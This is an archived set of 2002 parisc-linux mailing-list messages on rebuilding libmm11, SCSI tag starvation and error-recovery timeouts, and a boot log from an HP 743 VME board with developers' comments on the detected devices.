List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13879

Forgot to CC: the list... how does one request a pkg to be rebuilt?

--timball

----- Forwarded message from Timothy Ball <timball@tux.org> -----
On Sat, Jan 26, 2002 at 01:22:28PM +0200, Mikko Palo wrote:
> Sigh, I hate to reply myself, but..
> 
> Problem solved, had to compile apache, mm and php4 from source using
> apt-get source --build XXXX command. Now everything working very
> perfectly..
> 
> Keep working good job, guys! :)
> 

Actually all you had to do was recompile libmm11... I fixed this problem
this morning by just recompiling libmm11. I suppose it would be nice to
see if this issue is related to the cross compiling of pkgs.

--timball

----- End forwarded message -----

-- 
	GPG key available on pgpkeys.mit.edu
pub  1024D/511FBD54 2001-07-23 Timothy Lu Hu Ball <timball@tux.org>
Key fingerprint = B579 29B0 F6C8 C7AA 3840  E053 FE02 BB97 511F BD54



From - Thu Nov 08 21:21:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: tag starvation
Date: Sun, 27 Jan 2002 01:41:19 -0700
Lines: 67
Approved: news@gmane.org
Message-ID: <20020127084119.AB75A482A@dsl2.external.hp.com>
References: <200201261723.g0QHNeI02030@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621013 1671 80.91.229.3 (22 Nov 2014 01:50:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:13 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	parisc-linux@lists.parisc-linux.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 27 01:41:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id AB75A482A; Sun, 27 Jan 2002 01:41:19 -0700 (MST)
In-Reply-To: Message from James Bottomley <James.Bottomley@HansenPartnership.com> 
   of "Sat, 26 Jan 2002 12:23:40 EST." <200201261723.g0QHNeI02030@localhost.localdomain> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13880

James Bottomley wrote:
> That's essentially it.  A driver is allowed to execute simple tagged commands
> in any order it chooses (since it knows its own internal platter topology, it

James,
thanks for the excellent explanation.
But did you mean device or drive?  (instead of "driver")

> ignore a pending tagged command for quite a period of time (this is what is 
> known as tag starvation).  If the command remains unprocessed for >2s, the 
> mid-layer will begin error recovery, which can cause all sorts of problems.

ah...that explains it. Most HP drives are expected to have 3s.

> One thing that irritates me about 
> this option is that it should be a global one (belonging to the whole SCSI 
> subsystem) not local to each driver.

It should also be *per drive*. Different drives implement
different numbers of queue tags (eg disk array vs simple mech).

> How to Counter Tag Starvation
> ==============================
> 
> Most of the maintained drivers in Linux do this by keeping a timer on the 
> outstanding tagged commands.  When they see the timer expire they switch from
>    
> simple tags to ordered tags (an ordered tag is like a marker in the 
> queue---you can't execute any command after an ordered tag untill all those 
> before it have completed).

AFAIK, HP does not test disk drives to verify ordered tags work
correctly. One reason is we didn't want to expose new bugs by mixing
ordered with simple tags. The other reason is we saw a 25% performance
hit. The 5400 rpm 2GB drives at the time could complete ~80 IO/s with
simple tags. This dropped to 60-65 IO/s for ordered tags. Ordered tags
was considered an unacceptable solution at that point.

> The driver detects tag starvation when the hands try to cross (i.e. the
> next tag to be
> allocated would be the same tag number as the oldest outstanding command).
> At that point, it prints the message and refuses to accept any further
> I/Os from the mid layer.

Well done - I like this solution too.

> The reason for this approach in the 53c700 is that it is driving much older 
> (and buggier) devices.  If the device messed up on the ordered queue tag we 
> could get into a whole heap of trouble.

Exactly. Best case is the drive gets confused and locks up.
Worst case is it looses the data.

> Obviously, since the SCSI mid-layer also keeps a timer on outstanding 
> commands, it is a complete waste to duplicate this inside the driver.  
> Unfortunately, the first the driver hears from the mid-layer about a problem 
> command is when the mid-layer wants it aborted, by which time it is a bit lat
>   e.

This is fun part about driver interactions in the error recovery path.
Could one avoid this mess if the SCSI interface driver could guarantee
the IO will complete (with or w/o error) with-in the time frame
specified by the device (eg tape or disk) driver?

grant



From - Thu Nov 08 21:21:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 743 VME board boots
Date: Sun, 27 Jan 2002 15:17:44 +0000
Lines: 132
Approved: news@gmane.org
Message-ID: <20020127151743.GQ2884@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621013 1675 80.91.229.3 (22 Nov 2014 01:50:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 27 08:28:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1E28A482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 27 Jan 2002 08:28:29 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 2384A9E97E; Sun, 27 Jan 2002 15:17:44 +0000 (GMT)
Content-Disposition: inline
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13881

Hi,
  I just stuck a 743 board in a VME rack and powered it up - it "just
worked" :)   Did an install from a 0.9.3-pre CD via frame buffer
console. This board has a FWD zalon scsi expansion board, which was
detected ok, although I didn't have any devices on that interface.
Thanks to Grant for the boards.

Richard



Linux version 2.4.9-32 (root@paer) (gcc version 3.0.2 (Debian)) #1 Fri Nov 30 19:36:30 MST 2001
FP[0] enabled: Rev 1 Model 13
The 32-bit Kernel has started...
Determining PDC firmware type: Snake.
model	00006040 00000481 00000000 00000000 4c418c55 00000000 00000004 00000072 00000072
vers	0000000c
CPUID	vers 0 rev 0
model	9000/743
Total Memory: 128 Mb
pagetable_init
On node 0 totalpages: 32768
zone(0): 32768 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: root=/dev/sda3 HOME=/ console=tty0 sti=0 sti_font=VGA8x16 TERM=linux
Console: colour dummy device 160x64
Calibrating delay loop... 99.73 BogoMIPS
Memory: 126200k available
Dentry-cache hash table entries: 16384 (order: 5, 131072 bytes)
Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)
Mount-cache hash table entries: 2048 (order: 2, 16384 bytes)
Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
Searching for devices...
Found devices:
1. Anole Artist Optional Graphics (10) at 0xf8000000 [1], versions 0x8, 0x0, 0x85
2. Anole 100 Core BA (11) at 0xf0100000 [2], versions 0x1b, 0x0, 0x81
3. Anole 100 Core SCSI (10) at 0xf0106000 [2/0/1], versions 0x1b, 0x0, 0x82
4. Anole 100 Core LAN (802.3) (10) at 0xf0107000 [2/0/2], versions 0x1b, 0x0, 0x8a
5. Anole 100 Core RS-232 (10) at 0xf0105000 [2/0/4], versions 0x1b, 0x0, 0x8c
6. Anole 100 Core Centronics (10) at 0xf0102000 [2/0/6], versions 0x1b, 0x0, 0x74
7. Anole 100 Audio (10) at 0xf0104000 [2/0/8], versions 0x1b, 0x0, 0x7b
8. Anole 100 Core PS/2 Port (10) at 0xf0108000 [2/0/11], versions 0x1b, 0x0, 0x84
9. Anole 100 Core PS/2 Port (10) at 0xf0108100 [2/0/12], versions 0x1b, 0x0, 0x84
10. Anole 64 TIMI BA (11) at 0xffc11000 [7], versions 0x1b, 0x0, 0x93
11. Anole 100 VME Networking (10) at 0xffcf0000 [7/0/1], versions 0x1b, 0x0, 0x88
12. Anole 100 Timi RS-232 (10) at 0xffc1a000 [7/0/2], versions 0x21, 0x0, 0x8c
13. unknown device (10) at 0xffcf1000 [7/0/3], versions 0x1b, 0x0, 0x8f
14. Anole 100 (743/100) (0) at 0xfffbe000 [8], versions 0x604, 0x0, 0x4
15. unknown device (1) at 0xfffbf000 [9], versions 0x0, 0x0, 0x9
16. Shrike Add-on FW-SCSI (4) at 0xfff88000 [11], versions 0x14, 0x0, 0x89
17. Anole 100 VME BA (11) at 0xffc00000 [15], versions 0x1b, 0x0, 0x78
CPU(s): 1 x PA7100LC (PCX-L) at 100.000000 MHz
Lasi version 0 at 0xf0100000 found.
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xf0102800, irq 88 [PCSPP,TRISTATE]
STI word mode ROM at f002e000, hpa=f8000000
STI word mode ROM, id 2b4ded6d-40a00499, conforms to spec rev. 8.04
STI device: HPA208LC1280
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-8 frame buffer device, id: 2b4ded6d, mmio: 0xf8100000
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
ttyS00 at iomem 0xf0105800 (irq = 90) is a 16550A
IRQ not found for serial device at 0xffc1a000
Warning : device (10, 0x21, 0x0, 0x8c) NOT claimed by Serial RS232
PS/2 keyboard port at 0xf0108000 (irq 69) found, device attached.
Lasi PS/2 transmit buffer timeout
PS/2 psaux port at 0xf0108100 (irq 69) found, no device attached.
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
block: 128 slots per queue, batch=16
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
loop: loaded (max 8 devices)
Found i82596 at 0xf0107000, IRQ 87
eth0: 82596 at 0xf0107000, 08 00 09 4F FE 1A IRQ 87.
82596.c $Revision: 1.26 $
SCSI subsystem driver Revision: 1.00
zalon_scsi_callback: Zalon vers field is 0x1, IRQ 34
ncr53c8xx: 53c720 detected
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
scsi0 : ncr53c8xx-3.4.3b-20010512
53c700: Version 2.6 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2 
scsi1 : LASI SCSI 53c700
scsi1: (0:0) Synchronous at offset 8, period 236ns
  Vendor: TOSHIBA   Model: CD-ROM XM-5401TA  Rev: 1036
  Type:   CD-ROM                             ANSI SCSI revision: 02
scsi1: (1:0) Synchronous at offset 8, period 100ns
  Vendor: IBM       Model: DCHS04F  CLAR04   Rev: HP53
  Type:   Direct-Access                      ANSI SCSI revision: 02
scsi1: (4:0) Synchronous at offset 8, period 100ns
  Vendor: IBM       Model: DCHS04F  CLAR04   Rev: HP53
  Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi disk sda at scsi1, channel 0, id 1, lun 0
Attached scsi disk sdb at scsi1, channel 0, id 4, lun 0
scsi1: (1:0) Enabling Tag Command Queuing
SCSI device sda: 8813870 512-byte hdwr sectors (4513 MB)
Partition check:
 sda: sda1 sda2 sda3
scsi1: (4:0) Enabling Tag Command Queuing
SCSI device sdb: 8813870 512-byte hdwr sectors (4513 MB)
 sdb: sdb1
Attached scsi CD-ROM sr0 at scsi1, channel 0, id 0, lun 0
sr0: scsi-1 drive
Uniform CD-ROM driver Revision: 3.12
Lasi Harmony Audio rev. 0 at 0xf0104000, using IRQ 82
sticonsole_init: searching for STI ROMs
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 8192 bind 16384)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
Adding Swap: 249912k swap-space (priority -1)
eth0: link ok.
VFS: Disk change detected on device sr(11,0)
ISO 9660 Extensions: RRIP_1991A






From - Thu Nov 08 21:21:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: tag starvation
Date: Sun, 27 Jan 2002 11:52:53 -0500
Lines: 49
Approved: news@gmane.org
Message-ID: <200201271652.g0RGqrA02016@localhost.localdomain>
References: <grundler@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621014 1676 80.91.229.3 (22 Nov 2014 01:50:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:14 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Richard Hirst <rhirst@linuxcare.com>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 27 09:53:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost.localdomain (unknown [64.109.89.110])
	by dsl2.external.hp.com (Postfix) with ESMTP id C9425482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 27 Jan 2002 09:53:05 -0700 (MST)
Original-Received: from mulgrave (jejb@localhost)
	by localhost.localdomain (8.11.6/linuxconf) with ESMTP id g0RGqrA02016;
	Sun, 27 Jan 2002 11:52:54 -0500
X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4
In-Reply-To: Message from Grant Grundler <grundler@dsl2.external.hp.com> 
   of "Sun, 27 Jan 2002 01:41:19 MST." <20020127084119.AB75A482A@dsl2.external.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13882

> > That's essentially it.  A driver is allowed to execute simple tagged
> > commands
> > in any order it chooses (since it knows its own internal platter
> > topology, it

> James, thanks for the excellent explanation. But did you mean device
> or drive?  (instead of "driver") 

drive (but actually device is more accurate).

> > One thing that irritates me about 
> > this option is that it should be a global one (belonging to the whole
> > SCSI 
> > subsystem) not local to each driver.

> It should also be *per drive*. Different drives implement different
> numbers of queue tags (eg disk array vs simple mech). 

That's what I mean:  Inside scsi_scan.c there's a table which identifies 
various devices (by INQUIRY string) and takes certain actions (scan all luns, 
turn on/off tag queueing etc.).  There should be module parameters that allow 
adding to or modifying this.  In addition, there should be a module parameter 
that allows setting these actions by (scsi,channel,target,lun) quad, then we 
wouldn't need each of the low level drivers to have its own module commands 
for doing this.

> > Obviously, since the SCSI mid-layer also keeps a timer on outstanding 
> > commands, it is a complete waste to duplicate this inside the driver.
> 
> > Unfortunately, the first the driver hears from the mid-layer about a
> > problem 
> > command is when the mid-layer wants it aborted, by which time it is a
> > bit lat
> >  e.

> This is fun part about driver interactions in the error recovery path.
> Could one avoid this mess if the SCSI interface driver could guarantee
> the IO will complete (with or w/o error) with-in the time frame
> specified by the device (eg tape or disk) driver? 

Actually, I looked and the timeout is now 10s, not 2s.  The upper device 
drivers (st, sd etc.) do get to override this.  The problems tend to come when 
the error recovery takes over.

James





From - Thu Nov 08 21:21:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 743 VME board boots
Date: Sun, 27 Jan 2002 17:27:12 +0000
Lines: 52
Approved: news@gmane.org
Message-ID: <20020127172712.B19804@parcelfarce.linux.theplanet.co.uk>
References: <20020127151743.GQ2884@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621014 1680 80.91.229.3 (22 Nov 2014 01:50:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 27 10:27:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C5C4482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 27 Jan 2002 10:27:14 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16Ut5E-00045i-00; Sun, 27 Jan 2002 17:27:12 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020127151743.GQ2884@sleepie.demon.co.uk>; from rhirst@linuxcare.com on Sun, Jan 27, 2002 at 03:17:44PM +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13883

On Sun, Jan 27, 2002 at 03:17:44PM +0000, Richard Hirst wrote:
>   I just stuck a 743 board in a VME rack and powered it up - it "just
> worked" :)

Excellent :-)

> Found devices:
> 1. Anole Artist Optional Graphics (10) at 0xf8000000 [1], versions 0x8, 0x0, 0x85
> 2. Anole 100 Core BA (11) at 0xf0100000 [2], versions 0x1b, 0x0, 0x81
> 3. Anole 100 Core SCSI (10) at 0xf0106000 [2/0/1], versions 0x1b, 0x0, 0x82
> 4. Anole 100 Core LAN (802.3) (10) at 0xf0107000 [2/0/2], versions 0x1b, 0x0, 0x8a
> 5. Anole 100 Core RS-232 (10) at 0xf0105000 [2/0/4], versions 0x1b, 0x0, 0x8c
> 6. Anole 100 Core Centronics (10) at 0xf0102000 [2/0/6], versions 0x1b, 0x0, 0x74
> 7. Anole 100 Audio (10) at 0xf0104000 [2/0/8], versions 0x1b, 0x0, 0x7b
> 8. Anole 100 Core PS/2 Port (10) at 0xf0108000 [2/0/11], versions 0x1b, 0x0, 0x84
> 9. Anole 100 Core PS/2 Port (10) at 0xf0108100 [2/0/12], versions 0x1b, 0x0, 0x84
> 10. Anole 64 TIMI BA (11) at 0xffc11000 [7], versions 0x1b, 0x0, 0x93
> 11. Anole 100 VME Networking (10) at 0xffcf0000 [7/0/1], versions 0x1b, 0x0, 0x88
> 12. Anole 100 Timi RS-232 (10) at 0xffc1a000 [7/0/2], versions 0x21, 0x0, 0x8c
> 13. unknown device (10) at 0xffcf1000 [7/0/3], versions 0x1b, 0x0, 0x8f
> 14. Anole 100 (743/100) (0) at 0xfffbe000 [8], versions 0x604, 0x0, 0x4
> 15. unknown device (1) at 0xfffbf000 [9], versions 0x0, 0x0, 0x9
> 16. Shrike Add-on FW-SCSI (4) at 0xfff88000 [11], versions 0x14, 0x0, 0x89
> 17. Anole 100 VME BA (11) at 0xffc00000 [15], versions 0x1b, 0x0, 0x78

device 13 is a Boot ROM.  And device 15 is Memory.  We can simply update
hardware.c for this.

> Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
> ttyS00 at iomem 0xf0105800 (irq = 90) is a 16550A
> IRQ not found for serial device at 0xffc1a000
> Warning : device (10, 0x21, 0x0, 0x8c) NOT claimed by Serial RS232

This is because we don't have a driver which claims Timi.  Anyone happen
to have documentation on the Timi bus adapter?

> SCSI subsystem driver Revision: 1.00
> zalon_scsi_callback: Zalon vers field is 0x1, IRQ 34
> ncr53c8xx: 53c720 detected
> ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
> scsi0 : ncr53c8xx-3.4.3b-20010512

heh, fun.  So a Shrike works the same as a Zalon.. OK that does make sense.

> Lasi Harmony Audio rev. 0 at 0xf0104000, using IRQ 82

Cool, can you play mp3s?  The CPU should be fast enough :-)

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: tag starvation
Date: Sun, 27 Jan 2002 12:05:06 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20020127190506.DD761482A@dsl2.external.hp.com>
References: <200201271652.g0RGqrA02016@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621014 1682 80.91.229.3 (22 Nov 2014 01:50:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:14 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	parisc-linux@lists.parisc-linux.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 27 12:05:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id DD761482A; Sun, 27 Jan 2002 12:05:06 -0700 (MST)
In-Reply-To: Message from James Bottomley <James.Bottomley@HansenPartnership.com> 
   of "Sun, 27 Jan 2002 11:52:53 EST." <200201271652.g0RGqrA02016@localhost.localdomain> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13884

James Bottomley wrote:
> Actually, I looked and the timeout is now 10s, not 2s.

Ah ok. then really the question is if this happens with HP firmware or not.
(Eg ST15150WD should have HP12 firmware rev, iirc). I don't expect it to.

> The upper device 
> drivers (st, sd etc.) do get to override this.  The problems tend to come
> when the error recovery takes over.

errory recovery is a nightmare. For HPUX, we concluded we coudn't safely
guarantee the bus would be cleared until about 45 seconds after an IO
had be initiated. Roughly in the following order:
	30 sec	IO timeout
	10 sec	abort cmd to timeout (attempt to kill the original IO)
	 5 sec	post-reset delay (SCSI device recovery from bus reset)

Shortening the 30 second timer could be done but it would require
more restrictions on how much IO is going across the bus. non-trivial
problem given these were SCSI clusters.

grant



From - Thu Nov 08 21:21:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 743 VME board boots
Date: Sun, 27 Jan 2002 19:14:29 +0000
Lines: 130
Approved: news@gmane.org
Message-ID: <20020127191429.GR2884@sleepie.demon.co.uk>
References: <20020127151743.GQ2884@sleepie.demon.co.uk> <20020127172712.B19804@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621015 1687 80.91.229.3 (22 Nov 2014 01:50:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 27 12:25:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id EC200482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 27 Jan 2002 12:25:15 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 105749E97E; Sun, 27 Jan 2002 19:14:29 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20020127172712.B19804@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13885

